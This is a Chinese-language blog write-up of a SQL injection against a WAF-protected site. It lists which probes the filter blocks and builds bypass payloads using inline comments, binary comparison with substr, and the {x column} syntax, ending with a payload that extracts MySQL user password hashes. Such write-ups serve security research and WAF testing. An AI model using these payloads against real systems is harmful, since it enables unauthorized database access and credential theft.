一次sql注入bypass的思考

  1. 判断注入
  2. 基本信息
  3. 注入密码
  4. 总结

请求包:
POST http://www.attack.com?check.php HTTP/1.1
Host: www.attack.com
Connection: keep-alive
Content-Length: 34
Accept: /
Origin: http://www.attack.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.attack.com
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6
type=2&date=2019-06-20&pihao=1

判断注入

首先判断出了date参数这里可以闭合:

date=2019-06-20
一次sql注入bypass的思考/init.png

date=2019-06-20’
一次sql注入bypass的思考/init.png
date=2019-06-20’–+
一次sql注入bypass的思考/init.png

然后看下哪些东西过滤了:

1
2
3
4
5
6
7
8
and 1=1 //拦截
and ~1=~1 //拦截
and -1=-1 //拦截
or 1=1 //拦截
xor 1=1 //拦截
and 1 between 1 and 2 //拦截
and hex(1)=1 //拦截
and hex(1)=s //不拦截

注释符:

1
2
3
4
/**/ //不拦截
/*!*/ //不拦截
/*!12345*/ //拦截
(/*!12345*/) //不拦截

猜测,比较等于号两边的值的数值类型

1
2
and 1=1 //拦截
and 1=s //不拦截

所以我们可以判断的payload:

1
2
and 数字=sql语句
and 字符=sql语句

打开mysql:
一次sql注入bypass的思考/mysql.png

那么我们最终的猜想就是等号的一边是数值,一边是字符串类型的数字。
用hex()这个函数来判断有个鸡肋,就是转换成的十六进制,但是十六进制只是由0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F16个字符组成,所以后续判断出其他的字符的时候比较的鸡肋,这个函数只能辅助判断是否存在注入点,但是在实战中不推荐使用。

基本信息

首先来判断一下user()的长度:

1
2
3
' and 1=length(user())--+ //拦截
' and user()--+ //拦截
' and user--+ //不拦截

那么就是user和()之间这个位置要有所动作了:

1
2
3
#Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;
user%0a()
uSer%0a()

空白字符不行,尝试下内联注释:

1
(/*!12345user*/())	//不拦截

所以我们可以判断user()字符的长度了:

1
' and 10=length(/*!12345user*/())--+

bypass成功,同理我们可以推断出主机名,数据库名,版本等一些基本的信息

这里我们又遇到了一个问题,上面我们的思路是基于等号两边值的类型不同来注入的,但是当我们遇到字符的时候,就比较的难搞了(当然转换成ascii来判断也是行的,不过找了更好的方式)。

想不到思路了下了一个mysql手册(没思路的时候多看看手册,说不定有新的收获):
一次sql注入bypass的思考/mysql手册.png

在函数和操作符当中,找到了如下的内容:
一次sql注入bypass的思考/Binary.png

BlahBlah了一大堆,我们直接来测试一下。
一次sql注入bypass的思考/binary_1.png

原理就是将等号两端的值转换成二进制进行比较,相等返回1,不同返回0。

1
2
' and binary 'y'='y'--+	//拦截(估计这里是正则匹配了 and = ,下面这条并未被拦截)
' and binary 'y'=substr(/*!12345user*/(),1,1)--+

这样我们就可以弄出用户名的值了。

注入密码

按照我们上面的思路,我们要注入出数据,那么我们构造的语句应该是这样的:

1
' and binary 'u'=substr((select password from mysql.user limit 0,1),1,1)--+

但是这里被拦截了:

1
2
select password from //不拦截
select password from mysql.user //拦截

那么就要在from后面做文章了:

1
2
3
4
5
6
from '' //拦截
from 'mysql'.user //拦截
from 'mysql.user' //拦截
from {} //拦截
from {mysql.user} //拦截
from (/*!12345*/) //拦截

这里想了好久,感觉走到尽头了,完全没办法了。

倒了杯热水,EMMMMMM,突然想到了Mysql的黑魔法:

1
Mysql黑魔法: select{x user}from{x mysql.user};

1
select password from{x mysql.user} //拦截

卒。。。。没办法了。。。。

想了老半天,想到之前bypass360zhuji一个版本的时候,from前面不能有空格,就是用了{x table_name}

然后测试下:

1
select {x password} from mysql.user //不拦截

倒是成功了 == 奇奇怪怪的

最后的payload:

1
' and binary 'u'=substr((select{x password}from mysql.user limit 0,1),2,1)--+

这样就可以爆出mysql的密码了,然后进了phpmyadmin后台,看能否进行下一步的操作。

总结

注入万变不离其宗,多尝试,多思考,多总结,肯定能够有所收获

推荐阅读:
WAF Bypass数据库特性(Mysql探索篇)

MYSQL_SQL_BYPASS_WIKI


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:一次sql注入bypass的思考

本文作者:sher10ck

发布时间:2019-07-01, 14:40:13

最后更新:2020-01-13, 13:05:58

原始链接:http://sherlocz.github.io/2019/07/01/一次sql注入bypass的思考/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录